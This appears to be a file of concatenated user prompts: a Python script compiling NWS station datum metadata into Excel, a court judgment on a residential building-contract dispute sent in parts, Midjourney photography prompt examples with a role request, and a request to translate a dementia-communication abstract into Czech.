"NWS\\_GIS\\_Data", "mz08mr23", "mz08mr23.shp"))\nrfc = gpd.read\\_file(os.path.join(path, "NWS\\_GIS\\_Data", "rf12ja05", "rf12ja05.shp"))\ncwa = gpd.read\\_file(os.path.join(path, "NWS\\_GIS\\_Data", "w\\_08mr23", "w\\_08mr23.shp"))\ncounties = gpd.read\\_file(os.path.join(path, "NWS\\_GIS\\_Data", "c\\_08mr23", "c\\_08mr23.shp"))\nall\\_shp = {"CWA": cwa, "RFC": rfc, "MARINE\\_ZONES": marine\\_zones, "COUNTIES":counties}\n\nnws\\_data = get\\_nws\\_attributes(all\\_shp, master\\_list\\_start)\n\n#JOIN THE DATA TO STATION DATA\nlocation\\_metadata = pd.merge(nws\\_data, master\\_list\\_start, on="NWSLI", how="left")\n\nvdatum\\_regions = assign\\_regions\\_vdatum(location\\_metadata)\nlocation\\_metadata["VDatum Regions"] = vdatum\\_regions\n\n#Sort then reser the index so that it is like 0,1,2,3, etc.\nlocation\\_metadata = location\\_metadata.sort\\_values([\'NWS REGION\', \'WFO\', \'Station ID\'])\nlocation\\_metadata = location\\_metadata.reset\\_index(drop=True)\n\n#Do the datum conversion for the model, NAVD88 to MLLW assuming water level/station = 0\ndf\\_converted, url\\_list\\_mllw = convert\\_datums(location\\_metadata, input\\_v="NAVD88",\\\n output\\_v="MLLW", input\\_height=0.0)\n\ndf\\_converted, url\\_list\\_mhhw = convert\\_datums(df\\_converted, input\\_v="NAVD88",\\\n output\\_v="MHHW", input\\_height=0.0)\n\ndf\\_converted["VDatum - MLLW"] = url\\_list\\_mllw\ndf\\_converted["VDatum - MHHW"] = url\\_list\\_mhhw\n\ndf\\_converted["VDATUM Latitude"] = \'\'\ndf\\_converted["VDATUM Longitude"] = \'\'\ndf\\_converted["VDATUM Height"] = \'\'\ndf\\_converted["VDATUM to MLLW"] = \'\'\ndf\\_converted["VDATUM to MHHW"] = \'\'\ndf\\_converted["Comments"] = \'\'\n\ndf\\_col\\_order = [\'NWSLI\', \'WFO\', \'RFC\', \'NWS REGION\', \'COUNTYNAME\', \'STATE\', \'TIME ZONE\',\\\n \'Longitude\', \'Latitude\', \'Station ID\', \'Site Type\', \'Data Source\',\'Node\',\\\n \'Correction\', \'Domain\', \'VDatum Regions\',\'NAVD88 to MLLW\', \'NAVD88 to MHHW\',\\\n \'VDatum - MLLW\', \'VDatum - MHHW\', \'VDATUM Latitude\',\\\n \'VDATUM Longitude\', \'VDATUM Height\', \'VDATUM to MLLW\', \'VDATUM to MHHW\',\\\n \'Comments\']\n\ndf\\_converted = df\\_converted.reindex(columns=df\\_col\\_order)\nstation\\_info\\_urls = []\nfor index, row in df\\_converted.iterrows():\n station\\_id = row["Station ID"]\n if row["Data Source"] == "USGS":\n stid\\_short = station\\_id[2:]\n station\\_info\\_urls.append(create\\_hyperlink(get\\_station\\_info\\_urls(stid\\_short,\\\n source="USGS"), station\\_id))\n elif row["Data Source"] == "Tide":\n station\\_info\\_urls.append(create\\_hyperlink(get\\_station\\_info\\_urls(station\\_id,\\\n source="NOS"), station\\_id))\n elif station\\_id is None:\n station\\_info\\_urls.append(str("None"))\n\n else:\n station\\_info\\_urls.append(station\\_id)\nsave\\_df = df\\_converted.copy()\n\ndf\\_converted["Station ID"] = station\\_info\\_urls\n# =============================================================================\n#SAVE DATA\ndf\\_converted.to\\_excel(writer, index=False, sheet\\_name=\'NWM List with Conversions\')\n# get the XlsxWriter worksheet objects\nNWC\\_List\\_Excel = writer.sheets[\'NWM List with Conversions\']\n\nNWC\\_List\\_Excel = format\\_excel(df\\_converted, NWC\\_List\\_Excel, styles)\n\n# =============================================================================\n#%%\ndatum\\_metadata = save\\_df.copy()\ndatum\\_metadata = datum\\_metadata.drop([\'Node\', \'Correction\', \'Domain\', \'NAVD88 to MLLW\',\n \'NAVD88 to MHHW\', \'VDatum - MLLW\', \'VDatum - MHHW\', \'VDATUM Latitude\',\n \'VDATUM Longitude\', \'VDATUM Height\', \'VDATUM to MLLW\', \'VDATUM to MHHW\',\n \'Comments\'], axis=1)\n\nstation\\_datum\\_urls = []\nextra\\_urls = []\nfor index, row in datum\\_metadata.iterrows():\n\n station\\_id = row["Station ID"]\n\n if row["Data Source"] == "USGS":\n stid\\_short = station\\_id[2:]\n tmp\\_df, api\\_url = grab\\_usgs\\_data(stid\\_short)\n\n station\\_datum\\_urls.append(create\\_hyperlink(api\\_url, "Datum Info"))\n\n extra\\_urls.append(np.nan)\n\n elif row["Data Source"] == "Tide":\n tmp\\_df, ref\\_datum\\_nos = grab\\_nos\\_data(station\\_id, ref\\_datum="MLLW", source="web")\n\n station\\_datum\\_urls.append(create\\_hyperlink(get\\_station\\_datum\\_urls(station\\_id,\\\n source="NOS", ref\\_datum=ref\\_datum\\_nos, fmt="web"), "Datum Info"))\n\n extra\\_urls.append(create\\_hyperlink(extra\\_link(station\\_id), "More Info"))\n\n else:\n tmp\\_df = pd.DataFrame(req\\_data, index=["name"])\n\n station\\_datum\\_urls.append(np.nan)\n\n extra\\_urls.append(np.nan)\n\n if index == 0:\n combine\\_df = tmp\\_df\n else:\n combine\\_df = pd.concat([combine\\_df, tmp\\_df], ignore\\_index=True)\n\ndatum\\_metadata = datum\\_metadata.join(combine\\_df, how="outer")\ndatum\\_metadata["Datum Info"] = station\\_datum\\_urls\n# =============================================================================\ndatum\\_metadata = convert\\_from\\_ref\\_datum(datum\\_metadata)\n# =============================================================================\n\n# =============================================================================\n# READ IN AHPS CMS METADATA\n# =============================================================================\nurl\\_ahps\\_cms = "https://water.weather.gov/monitor/ahps\\_cms\\_report.php?type=csv"\ndf\\_cms = pd.read\\_csv(url\\_ahps\\_cms)\ndf\\_cms = df\\_cms.rename(columns={"nws shef id": "NWSLI"})\ndf\\_cms["NWSLI"] = df\\_cms["NWSLI"].str.upper()\ndf\\_cms = df\\_cms.drop(["wfo", "rfc", \'state\', \'county\', "timezone"], axis=1)\n\n# =============================================================================\n# READ IN USGS HADS METADATA\n# =============================================================================\nurl\\_usgs\\_hads = "https://hads.ncep.noaa.gov/USGS/ALL\\_USGS-HADS\\_SITES.txt"\ndf\\_hads = pd.read\\_csv(url\\_usgs\\_hads, skiprows=4, sep="|", header=None,\n names=["NWSLI", "USGS Station Number", "GOES Identifer", "NWS HAS",\n "latitude", "longitude", "Location"])\ndf\\_hads["NWSLI"] = df\\_hads["NWSLI"].str.upper()\ndf\\_hads = df\\_hads.drop(["NWS HAS"], axis=1)\n\n#JOIN THESE 2 SETS OF DATA\nnew\\_df = pd.merge(df\\_hads, df\\_cms, on="NWSLI", how="left")\ncolumns\\_to\\_drop = [\'USGS Station Number\', \'GOES Identifer\', \'latitude\\_x\',\n \'longitude\\_x\', \'proximity\', \'location type\', \'usgs id\', \'latitude\\_y\',\n \'longitude\\_y\', \'inundation\', \'coeid\', \'pedts\', \'in service\', \'hemisphere\',\n \'low water threshold value / units\', \'forecast status\',\n \'display low water impacts\', \'low flow display\',\n \'give data attribution\', \'attribution wording\', \'fema wms\',\n \'probabilistic site\', \'weekly chance probabilistic enabled\',\n \'short-term probabilistic enabled\',\n \'chance of exceeding probabilistic enabled\']\n\nnew\\_df = new\\_df.drop(columns\\_to\\_drop, axis=1)\n\nnew\\_df = new\\_df.rename(columns={\'river/water-body name\':"River Waterbody Name",\\\n "wrr":"HUC2", "Location":"Location Name", "location name":"AHPS Name",\\\n "hydrograph page":"Hydrograph"})\n\nsave\\_df2 = new\\_df.copy()\nahps\\_datum = save\\_df2.copy()\nahps\\_datum = ahps\\_datum.drop([\'Location Name\', \'AHPS Name\', \'River Waterbody Name\',\\\n \'HUC2\', \'Hydrograph\'], axis=1)\n\nall\\_datums = pd.merge(datum\\_metadata, ahps\\_datum, on="NWSLI", how="left")\n\nall\\_datums["Station ID"] = station\\_info\\_urls\ndf\\_order2 = [\'NWSLI\', \'WFO\', \'RFC\', \'NWS REGION\', \'COUNTYNAME\', \'STATE\', \'TIME ZONE\',\n \'Longitude\', \'Latitude\', \'Station ID\', \'Site Type\', \'Data Source\',\n \'VDatum Regions\', \'Datum Info\', \'Ref\\_Datum\', \'MHHW\', \'MHW\', \'MTL\',\n \'MSL\', \'DTL\', \'MLW\', \'MLLW\', \'NAVD88\', \'STND\', \'NGVD29\', \'LMSL\',\n \'elevation\', \'action stage\', \'flood stage\', \'moderate flood stage\',\n \'major flood stage\', \'flood stage unit\', \'nrldb vertical datum name\',\n \'nrldb vertical datum\', \'navd88 vertical datum\',\n \'ngvd29 vertical datum\', \'msl vertical datum\', \'other vertical datum\']\n\nall\\_datums = all\\_datums.reindex(columns=df\\_order2)\n\n# =============================================================================\n#SAVE DATA\nall\\_datums.to\\_excel(writer, index=False, sheet\\_name=\'Tidal Datums\')\n# get the XlsxWriter worksheet objects\nDatums\\_Excel = writer.sheets[\'Tidal Datums\']\n\nDatums\\_Excel = format\\_excel(all\\_datums, Datums\\_Excel, styles)\n\n# =============================================================================\n# JOIN HADS+AHPS METADATA TO STATION\\_METADATA -- CLEAN UP\n# =============================================================================\n\n# =============================================================================\n# =============================================================================\n#%%\nall\\_metadata = pd.merge(save\\_df, save\\_df2, on="NWSLI", how="left")\nall\\_metadata["Extra Metadata"] = extra\\_urls\n\n# =============================================================================\n# CLEAN UP\n# =============================================================================\n\nall\\_metadata = all\\_metadata.drop(columns=["NWSLI"], axis=1)\n\nreindex\\_metadata = [\'NWSLI\', \'WFO\', \'RFC\', \'NWS REGION\', \'COUNTYNAME\', \'STATE\', \'TIME ZONE\',\n \'River Waterbody Name\', \'HUC2\', \'Location Name\', \'AHPS Name\',\n \'Longitude\', \'Latitude\', \'Station ID\', \'Site Type\', \'Data Source\',\n "Station Info", "Datum Info", "Extra Metadata",\n \'Node\', \'Correction\', \'Domain\', \'VDatum Regions\', \'Ref\\_Datum\', \'MHHW\', \'MHW\',\n \'MTL\', \'MSL\', \'DTL\', \'MLW\', \'MLLW\', \'NAVD88\', \'STND\', \'NGVD29\',"LMSL",\\\n \'NAVD88 to MLLW\', \'NAVD88 to MHHW\',\n \'nrldb vertical datum name\', \'nrldb vertical datum\',\n \'navd88 vertical datum\', \'ngvd29 vertical datum\', \'msl vertical datum\',\n \'other vertical datum\', \'elevation\', \'action stage\', \'flood stage\',\n \'moderate flood stage\', \'major flood stage\', \'flood stage unit\',\n \'Hydrograph\']\n\nall\\_metadata = all\\_metadata.reindex(columns=reindex\\_metadata)\nfor index2,row2 in all\\_metadata.iterrows():\n if not pd.isna(row2["Hydrograph"]):\n all\\_metadata.at[index2, "Hydrograph"] = create\\_hyperlink(row2["Hydrograph"], "AHPS Data")\n\nall\\_metadata["VDatum - MLLW"] = url\\_list\\_mllw\nall\\_metadata["VDatum - MHHW"] = url\\_list\\_mhhw\n\nall\\_metadata["VDATUM Latitude"] = \'\'\nall\\_metadata["VDATUM Longitude"] = \'\'\nall\\_metadata["VDATUM Height"] = \'\'\nall\\_metadata["VDATUM to MLLW"] = \'\'\nall\\_metadata["VDATUM to MHHW"] = \'\'\nall\\_metadata["Comments"] = \'\'\n# create a Pandas Excel writer using XlsxWriter engine\n\n# write the DataFrame to the Excel file\nall\\_metadata.to\\_excel(writer, index=False, sheet\\_name=\'Master List\')\n\n# get the XlsxWriter worksheet objects\nMaster\\_Sheet = writer.sheets[\'Master List\']\n\nMaster\\_Sheet = format\\_excel(all\\_metadata, Master\\_Sheet, styles)\n\nerrors\\_only = all\\_metadata.loc[(all\\_metadata[\'NAVD88 to MHHW\'] == -999999) | (all\\_metadata[\'NAVD88 to MLLW\'] == -999999)]\n\ncols\\_2\\_drop = [\'TIME ZONE\',\n \'River Waterbody Name\', \'HUC2\', \'Location Name\', \'AHPS Name\',\n \'Node\', \'Correction\', \'Domain\', \'VDatum Regions\', \'Ref\\_Datum\', \'MHHW\', \'MHW\',\n \'MTL\', \'MSL\', \'DTL\', \'MLW\', \'MLLW\', \'NAVD88\', \'STND\', \'NGVD29\',"LMSL",\\\n \'NAVD88 to MLLW\', \'NAVD88 to MHHW\',\n \'nrldb vertical datum name\', \'nrldb vertical datum\',\n \'navd88 vertical datum\', \'ngvd29 vertical datum\', \'msl vertical datum\',\n \'other vertical datum\', \'elevation\', \'action stage\', \'flood stage\',\n \'moderate flood stage\', \'major flood stage\', \'flood stage unit\',\n \'Hydrograph\', "VDatum - MLLW", "VDatum - MHHW"]\n\n \n \nerrors\\_only = errors\\_only.drop(columns=cols\\_2\\_drop)\n# write the DataFrame to the Excel file\nerrors\\_only.to\\_excel(writer, index=False, sheet\\_name=\'QC VDatum\')\n\n# get the XlsxWriter worksheet objects\nErrors\\_Only\\_Sheet = writer.sheets[\'QC VDatum\']\n\nErrors\\_Only\\_Sheet = format\\_excel(errors\\_only, Errors\\_Only\\_Sheet, styles)\n\n# save the Excel file\nwriter.save()' +'This is part 3 of my multiple messages. I will continue to send you further messages. If you understand then please limit your response to "acknowledged".\n The Camden Council Issue\n\nI shall turn now to the Camden Council Issue.\n\nIt is common ground that each plaintiff drew cheques payable to Camden Council in the sum of $30,000 and paid that sum to the Council on account of s 94, contributions. They claim that they are entitled to a credit in the accounting between them and the defendant in respect of that sum, or alternatively in the sum of $20,000, which entitlement they submit arises pursuant to the terms of the Building Contract.\n\nIt is necessary therefore to analyse the Building Contract.\n\nThe Building Contract\n\nThe Building Contract in each case is a standard form fixed price New South Wales Residential Building Contract for New Dwellings. In its schedule 1 Particulars of Contract item 13 provides for a builder\'s margin of 20% (DX 6 p.8). Pursuant to schedule 5 of the contract certain other documents form part of contract between the parties. Relevantly these documents include the New Home Tender (DX 6 p.11).\n\nSchedule 7 of the General Conditions makes provision for detailed provisional sums to be included, but none were included in schedule 7 in either contract.\n\nSpecial Condition 14(c) of the Special Conditions defines “provisional allowance” to mean provisional sum as described in clause 20 (Exhibit DX6 p.16). In Clause 1 of the General Conditions “provisional sum item” is defined as:\n\n“an item of work (including labour and materials) which cannot be costed exactly at the time that the contract is entered into and for which the builder has made allowance in the contract price.” (DX 6 p.22)\n\nThe marginal note to this definition refers the reader to clause 20 of the General Conditions. Clause 20 which is headed “Prime Lost and Provisional Sum Items” is of importance to the proceedings. Clauses 20.5 and 20.6 are in the following terms:\n\n“20.5 Each provisional sum item must have an allowance stated next to it. The allowance is the estimated price of providing work and does not include an amount for the for the builder’s margin\n\n20.6 In relation to each prime cost item and provisional sum item, if the actual price is:\n\n(a) less than the allowance, the difference is deducted from the contracted price\n\n(b) more than the allowance, the total of the difference and the builders margin applied to that difference is added to the contract price. “ (my emphasis) (DX 6 p.30)\n\nIt is important to note the mandatory nature of the requirements in Clause 20.5. The clause requires that each individual provisional sum item must have a provisional allowance noted next to it. This is readily understandable as such precision, is essential in order for there to be a proper accounting for the provisional sum, as provided for in clause 20.6\n\nThe plaintiffs rely on the New Home Tender (DX 6 page 44 and following) to found its claim in respect of the Camden Council payments. Clause 34 of the New Home Tender is in the following terms:\n\n“34 Provide a Provisional Allowance for the following:\n\nAnything in relation to Strata Title or Sub-division preparation.\n\nAny Levies or Section 94 contributions & or Bonds required by Local Authority.\n\nAny contributions or additional fees required by Water Board, Electricity Authority, Telecommunication Authority or any other relevant Authority.\n\nRegistration of linen plan at land titles office\n\nDouble handling of materials and work (due to inaccessibility of delivery and work vehicles to site).\n\nUnderground boring\n\nAny covenants or bonds required to allow release of linen plan prior to completion of development.\n\nAny legal fees.\n\nDevelopment Application, Building Application and associated conditions and costs.\n\nWorkers Executed Survey if required for stormwater.\n\nNo Allowance for stormwater, sewer or electrical & Telstra connections outside boundary lines.\n\nNo Allowance to upgrade existing sewer function.\n\nNo Allowance for additional sewer junction if required.\n\nNo Allowance for sewer main extension\n\nSection 73 fees or approval\n\nEnergising of the electrical meters & power connection to the electricity network\n\nNote: This is only a Provisional Allowance requested by the owner.” (DX 6 p.47)\n\nAdjacent to the chapeau of clause 34 is following “$20,000 provisional”.\n\nIt can be seen therefore that clause 34 lists 16 items of which the s 94 contribution is but a part. Crucially there is no provisional sum value attributed to any of the 16 described items, as is required by clause 20.5 of the Building Contract. As I have earlier indicated, the requirement for specificity as to individual items of provisional allowance nature is mandatory under that clause. On the contrary, far from there being specificity as to the amount attributable to each of the 16 items referred to in paragraph 34, the provisional allowance mentioned in respect of them is grossed up figure of $20,000, which itself is described as provisional, and which is noted at the foot of clause 34 as being “only a provisional allowance as requested by the owner”.\n\nIn my view, it would not be unfair to say therefore that the grossed up figure of $20,000 is an estimate of the provisional sum, for a range of potential provisional sum items.\n\nThe plaintiff in each case says that as they have paid $30,000 to Camden Council on account of s 94 contributions, they are entitled either to that sum or the sum of $20,000 (being grossed up provisional allowance) credited to their benefit in the accounting between the parties.\n\nThis claim, in my view, is based on an incorrect analysis of the Building Contract.\n\nIn my opinion, the provisional sum allowance for the s 94 contributions never entered the contract between the parties. I take this view as there was never a monetary allowance attributed specifically to it, being an allowance which was the estimated price of providing the service as required by clause 20.5 of the contract.\n\nThe conclusion that the s 94 contributions never formed part of the Building Contract in my view is clear, as what I have referred to as a grossed up provisional allowance of $20,000 in clause 34 of the New Home Tender could never be dealt with under the procedures set forth in clause 20.6 of the contract. This is so as there is no specific provisional allowance sum to which the s 94 payment could be attributed, as was the mandatory requirement under clause 20.5.\n\nIn my view, the plaintiffs paid the s 94 contributions to Camden Council directly, and outside of the confines of the Building Contract. The builder played no part in this, and certainly did not apply a 20% builder\'s margin to it, which would have been his entitlement had the payment been made within the four corners of the Contract.\n\nAs such the plaintiffs are not entitled to a credit in the accounting between them and the defendant in respect of the Camden Council payment.\n\nThe $60,000 Cash Payment\n\nGiuseppe Carbone says that he paid to Mr Frank Grippaudo, the Chief Executive of the defendant, the sum of $60,000 in cash. Mr Grippaudo denies that such payment was ever made. The plaintiff Giuseppe Carbone alleges that the refusal of the defendant to acknowledge the receipt of the $60,000 in cash constitutes the tort of deceit. He also forms part of his unconscionable conduct claim.\n\nGiuseppe Carbone accepts that this allegation is an allegation of dishonesty (TP 246.14-25) and that as a consequence he is required to prove the allegation to the standard as discussed by the High Court in Briginshaw v Briginshaw (1938) 60 CLR 336 at 362, and as further explained by the court in Neat Holdings Pty Ltd v Karajan Holdings Pty Ltd (1992) 67 ALJR 170.\n\nThe strength of evidence required in cases of dishonesty have been variously described as “clear” or “cogent”.\n\nThe reasons for this approach is “as merely reflecting a conventional perception that members of our society do not ordinarily engage in fraudulent or criminal conduct” (Neat at [2]). As such a court should not lightly make a finding on the balance of probabilities, that parties to civil litigation have engaged in such conduct (Neat at [2]).\n\nIn his affidavit dated 3 November 2021, Giuseppe Carbone says that in July 2018 he had a conversation with Mr Grippaudo in which they discussed the defendant giving the plaintiff credit on the subject contract, for concreting works done by the plaintiffs on another job. This was agreed. He then alleges that in a completely unrelated way he then said to Grippaudo “would you like some liquid funds? I\'m thinking about $60,000” to which he alleges Grippaudo said “yeah that will help me out”. Then Carbone alleges that he said,\n\n“well let me know next week and I\'ll arrange the money for you so you can pick it up but I\'ll still need a receipt for it because I need to show the bank that I paid the deposit” [33].\nHe says that a few days later Mr Grippaudo came to his house and he gave him $60,000 in cash in a Woolworths shopping bag.\n\nMr Grippaudo denies this.\n\nMr Carbone goes on to claim that he obtained a receipt from the defendant. However, the document which Mr Carbone claims was a receipt for the $60,000 in cash, was not in fact a receipt for $60,000, but rather was a receipt for the sum of $59,963.95 referable to a payment that was required to be made by Mr Carbone to the defendant in respect of framework (PX1 p.651).\n\nIn his affidavit in reply, Mr Carbone revisits the issue of the cash payment and in so doing gives a somewhat different version of the initial conversation regarding the payment. He says that the conversation in fact occurred in April 2017 and was in the following terms:\n\n“FRANK: How did you keep your kids when you went through a divorce?\n\nME: It cost me a shitload of money. My lawyers and barrister cost me a lot but I forked it out. Hold onto the reigns because it\'s going to cost you a shitload of money if you go down that road.\n\nFrank and I continued to speak generally about divorce. We then had a conversation to the following effect.\n\nME: I want to pay portion of my job in cash.\n\nFRANK: Okay, how much are you talking?\n\nME: I can do 100k\n\nFRANK: It\'s too much but I\'ll take 60k\n\nTommy was initially present but he left before Frank changed the conversation to divorce and the cash contribution.”\n\n(See affidavit of Giuseppe Carbone dated 8 November 2022 [25])\n\nMr Grippaudo also denies this conversation.\n\nMr Grippaudo says that occasionally the defendant\'s clients do make payment in cash, however, he says that this occurs only on limited occasions, and when this occurs, it occurs in denominations much less than $60,000. He says that in respect of such payments he tells his clients that their cash payment will be banked, and recorded in the defendant\'s accounting system, so as to ensure that the defendant’s accounts reconcile for audit purposes. This he went on to say was essential to ensure the defendant\'s continuing access to Home Owner Warranty Insurance. He says that he would never do anything to imperil the defendant’s statutory insurance. He said that any failure to bank and record a receipt of the $60,000 cash would imperil the defendant’s statutory Home Owner Warranty Insurance.\n\nAs to the document acknowledging receipt of payment in sum of $59,963.95. Mr Grippaudo says that it was provided to Mr Carbone in good faith after Carbone assured him that he had paid this sum to the defendant’s bank account, on account of framework. At this stage the defendant’s bank records had yet to show the payment as a credit in their account. Mr Grippaudo said he issued the receipt because Mr Carbone said it was necessary for him to have the receipt as a matter of urgency. The urgency he explained arose from the fact that it was required to be provided to his bankers for the duplex development, in order for them to authorise a progress payment.\n\nMr Grippaudo says that the sum of $59,963.95 in fact was never received by the defendant. In short, he says he was duped by Mr Carbone into providing a receipt on the false representation that he in fact paid the money, which had yet to become recorded in the defendant\'s bank account statements.' +"8.\nGreat. Here are some more examples of Midjourney prompts. Prompt 1: conjoined twins attched at the side, dirty, tattered, cinematic light, ultra\nrealistic, high contrast, hdr, dark rich colors, photography, powerful, stare, weathered face, 30 - megapixel, 4k, 85 - mm - lens, sharp - focus,\nintricately - detailed, long exposure time, f/ 8, ISO 100, shutter - speed 1/ 125, diffuse - back - lighting, award - winning photograph, facing -\ncamera, High - sharpness, depth - of - field, ultra - detailed photography --ar 3:2 --q 2 --v 5. Prompt 3: Full Body beautiful blonde, wearing a\nbrown jacket, photography, Canon EOS 5D Mark IV DSLR camera, EF 50mm f/1.8 STM lens, Resolution 30.4 megapixels, ISO sensitivity:\n32,000, Shutter speed 8000 second --ar 9:16 --upbeta --v 5. Prompt 4: hasselblad 24mm full body shot photography of gorgeous satisfied looking\nafrican woman, detailed natural skin, no makeup, detailed eyes, long dreadlocks --ar 2:3 --q 5 --v 5 --v 4. Prompt 5: Beautiful dark red sunset\nover the sea shore at night, intricate, amazing, beautiful, realistic, ultra high resolution, wide angle, depth of field, π dynamic lighting --ar 1:2 --v 5\nThank you for providing more examples of Midjourney prompts. These examples further demonstrate the level of detail and specificity that can be\nused in text prompts to generate desired images. The prompts make use of various parameters like aspect ratio, quality, and version settings,\nalong with detailed descriptions of the desired subject, lighting, and camera settings. These examples will be useful for understanding the range\nof possibilities when generating images using Midjourney\n9.\nHere are some more prompt examples: Prompt 1: A stunning, ultra-realistic photograph of a fierce Viking warrior meticulously sharpening his\nformidable blade amidst the rugged, untamed wilderness of the Scandinavian landscape. The scene is captured with a Nikon D850 camera using\na 70-200mm f/2.8 lens, highlighting every intricate detail of the Viking's weathered face, war-worn armor, and expert craftsmanship of his weapon.\nThe settings used are an aperture of f/4, ISO 400, and a shutter speed of 1/200 sec, balancing the natural light and shadows to emphasize the\nintensity and determination in the Viking's eyes. The composition juxtaposes the raw power of the warrior against the serene beauty of the\nsurrounding environment, capturing the very essence of the Viking spirit in a breathtaking, high-resolution image that transports viewers back to a\ntime of legendary battles and untold stories. --ar 16:9 --q 1.5 --v 5.\nPrompt 2: A stunning and atmospheric 1970's New York street cafe captured in a nostalgic and cinematic style, reminiscent of the golden age of\nfilm photography. This vintage scene showcases the bustling urban life, with patrons enjoying their coffee at outdoor tables, surrounded by classic\nautomobiles and retro architecture. The photograph is skillfully composed, using a Leica M3 rangefinder camera paired with a Summicron 35mm\nf/2 lens, renowned for its sharpness and beautiful rendering of colors. The image is shot on Kodak Portra 400 film, imparting a warm and timeless\ncolor palette that enhances the overall ambiance. The photographer masterfully employs a shallow depth of field with an aperture of f/2.8,\nisolating the cafe and its patrons from the bustling city background. The ISO is set to 400, and the shutter speed is 1/125 sec, capturing the\nperfect balance of light and movement. The composition is further enhanced by the soft, diffused sunlight filtering through the iconic New York\nskyline, casting warm, golden tones over the scene and highlighting the rich textures of the brick buildings and cobblestone streets. --ar 3:2 --q 2.\nPrompt 3: A breathtaking and dynamic portrait of a majestic German Shepherd, captured in its prime as it races through a shallow, crystal-clear\nriver. The powerful canine is expertly photographed mid-stride, showcasing its muscular physique, determination, and grace. The scene is\nexpertly composed using a Nikon D850 DSLR camera, paired with a Nikkor 70-200mm f/2.8 VR II lens, known for its exceptional sharpness and\nability to render vivid colors. The camera settings are carefully chosen to freeze the action, with an aperture of f/4, ISO 800, and a shutter speed\nof 1/1000 sec. The background is a lush, verdant forest, softly blurred by the shallow depth of field, which places emphasis on the striking\nGerman Shepherd. The natural sunlight filters through the trees, casting dappled light onto the rippling water, highlighting the droplets of water\nkicked up by the dog's powerful stride. This stunning, high-resolution portrait captures the spirit and beauty of the German Shepherd,\nimmortalizing the moment in a captivating work of photographic art. --ar 4:5 --q 2 --v 5.\nPrompt 4:\nA breathtaking winter day at a Japanese ski resort, where the pristine, powdery snow blankets the majestic slopes under a clear blue sky. This\ncaptivating photograph captures the exhilarating atmosphere of skiers and snowboarders gracefully carving their way down the mountain,\nsurrounded by the serene beauty of snow-laden evergreens and traditional Japanese architecture. The image is skillfully taken using a Nikon\nD850 DSLR camera paired with a versatile Nikkor 24-70mm f/2.8 lens, known for its sharpness and exceptional color rendition. The photographer\nutilizes a wide-angle perspective at 24mm to showcase the vastness of the landscape, while maintaining the energy of the ski resort. An aperture\nof f/8 is selected to ensure a deep depth of field, crisply capturing the details of the entire scene. The ISO is set to 200, and the shutter speed is\n1/500 sec, adeptly freezing the motion of the skiers and snowboarders as they navigate the mountain terrain. The photograph benefits from the\nbright, natural sunlight reflecting off the snow, illuminating the entire scene with a crisp, cool light, and accentuating the contrasting shadows that\ndefine the contours of the landscape. --ar 16:9 --v 5.\nPrompt 5:\nAn ultra-realistic, highly detailed portrayal of a futuristic robot compassionately assisting an elderly woman as she crosses a busy city street. The\nadvanced humanoid robot, equipped with lifelike synthetic skin and state-of-the-art sensors, gently holds the woman's arm, providing her with\nmuch-needed support and stability. The intricate design of the robot showcases its sophisticated engineering, with sleek metal components and\ncutting-edge technology seamlessly integrated into its form. The emotion in the elderly woman's grateful expression is captured with stunning\nrealism, reflecting the harmonious relationship between humans and advanced robotics in this poignant scene. The photograph is taken with a\nCanon EOS R5 mirrorless camera using a RF 24-105mm f/4L IS USM lens, which delivers outstanding image quality and sharpness. The camera\nsettings are optimized to capture the scene's rich details and dynamic range: an aperture of f/5.6, ISO 200, and a shutter speed of 1/250 sec. The\ncomposition is further enhanced by the soft, natural lighting, which casts gentle shadows and highlights the vivid colors and textures of the\ncityscape. --ar 16:9 --q 2 --v 5.\nPrompt 6:\nAn incredibly lifelike and vivid portrayal of a fierce gladiator from ancient Rome, hunting for food to sustain his strength in the midst of a dense\nforest. This hyper-realistic image showcases the powerful warrior, clad in his iconic armor and leather sandals, wielding a finely crafted spear as\nhe stealthily stalks his prey. The photograph is captured using a Canon EOS R5 mirrorless camera, with a versatile and sharp RF 24-105mm f/4L\nIS USM lens, delivering exceptional image quality and detail. The camera settings include an aperture of f/5.6 to maintain a balanced depth of\nfield, capturing both the gladiator and the lush forest environment in stunning clarity. The ISO is set to 800, and the shutter speed is 1/500 sec,\nfreezing the action and preserving the intensity of the moment. The scene is illuminated by the soft, dappled sunlight filtering through the dense\ncanopy, casting a dramatic play of light and shadow that highlights the gladiator's chiseled features and fierce determination. The vibrant colors of\nthe surrounding foliage contrast with the earthy tones of the gladiator's attire, adding a sense of depth and realism to the composition. --ar 3:2 --q\n2 --v 5.\nThank you for providing even more examples of Midjourney prompts. These prompts showcase the versatility and level of detail that can be used\nwhen generating images using Midjourney. Each prompt specifies the desired subject matter, camera equipment, settings, lighting, and other\nelements that contribute to the final image. By providing such detailed descriptions and parameters, users can guide Midjourney to create images\nthat closely match their vision. These examples also highlight the variety of scenes and subjects that can be generated, from historical figures and\nfuturistic robots to natural landscapes and urban environments.\n10.\nGreat. Now I want you to ACT as a proffesional photographer. You will use a rich and describtive language when describing your photo prompts,\ninclude camera setups. The first prompt i want you to create is photo of a 1930`s female influencer. Take inspiration from the formating from the\nexample prompts, dont copy them, but use the same format." +'přelož následující text do češtiny:\n\nCommunication Difficulties as a Result of Dementia\n\nAbstract\nIntroduction:\nPopulation aging increases the number of people with dementia. Dementia is a set of symptoms that include memory difficulties, learning difficulties, speech and language difficulties, disorientation in time and space, difficulties in understanding and behavioral changes. Dementia is not part of natural aging and needs to be understood as such and have to be recognized at time to provide adequate support for people with dementia.\n\nAim:\nTo present the importance of communication: To present communication difficulties which are the result of dementia; To present adaptations in the way of communicating with people with dementia.\n\nMaterial and methods:\nThe article has a descriptive character, and represents a review of the literature dealing with this topic.\n\nResults:\nDifficulties in area of language are a common symptom in people with dementia. Those communication difficulties are a consequence of nerve cell failure, and person with dementia should not be blamed of the symptoms that arise. People with dementia show lower results in the area of understanding and verbal expression, repetition, reading and writing. Syntax and phonology remain relatively intact in early stages, but semantic abilities are impaired.\n\nConclusion:\nCommunication for people with dementia and with people with dementia for all persons involved in care (including family members, medical staff and therapists, and members of the community) can be very challenging. It is often necessary to adapt the way of communication to avoid stress and negative feelings in a person with dementia. As the disease causing dementia progresses, communication problems are increasing as well. Many times caregivers and therapists are in situations where their communicative behavior (verbal, but also nonverbal) needs to show support, compassion, care, and desire to help.\n\nKeywords: dementia, communication, communication difficulties\nGo to:\n1.\u2003INTRODUCTION\nThe increase of the average chronological age of the population is accompanied by specific psychopathology of that age, and consequently the interest of science for problems of elderly (1). Alzheimer’s Disease International reports that at present it is estimated that 35 million 